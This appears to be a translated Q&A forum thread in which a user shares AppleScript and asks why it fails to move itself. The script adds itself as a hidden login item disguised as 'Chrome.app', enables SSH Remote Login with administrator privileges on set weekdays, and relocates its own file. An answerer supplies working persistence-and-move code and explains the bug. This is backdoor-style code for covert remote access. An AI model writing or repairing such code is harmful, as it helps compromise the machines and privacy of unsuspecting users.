我制作了一些代码,使脚本移动自己。当我把它放在一个空白的脚本中时,它工作正常,但是一旦我将它放在我的主脚本中它就不起作用。
这是我的代码:
-------------------------------------------------------------------------------------------
--------------------------------Putting inside Loggin Items-----------------------------
set myPath to path to me
tell application "System Events"
make new login item at end of login items with properties {name:"Chrome.app", path:myPath, hidden:true}
end tell
-------------------------------------------------------------------------------------------
--------------------------------Turning on RemoteLogin--------------------------------
on remoteLogin(value)
do shell script "launchctl " & value & " -w /System/Library/LaunchDaemons/ssh.plist" with administrator privileges
end remoteLogin
if weekday of (current date) is in {Sunday, Monday} then
remoteLogin("load")
else
return "not Sunday or Monday"
end if
---------------------------------------------------------------------------------------
------------------------------------Moving Script------------------------------------
set thePath to POSIX path of (path to me as text)
do shell script "mv " & thePath & " ~/Desktop/no"
答案 0 :(得分:0)
我尝试使用此代码:
set myPath to path to me
tell application "System Events"
make new login item at end of login items ¬
with properties ¬
{name:"test", path:myPath, hidden:true}
end tell
tell application "System Events" to move myPath to the desktop folder
并成功移动了文件。创建的登录项也会自动更新其路径(我不确定这是否是您想要的结果)。
至于为什么你的不移动,我的猜测是它不是星期日或星期一,在这种情况下你的脚本终止于return
语句,然后才能找到移动的脚本部分文件。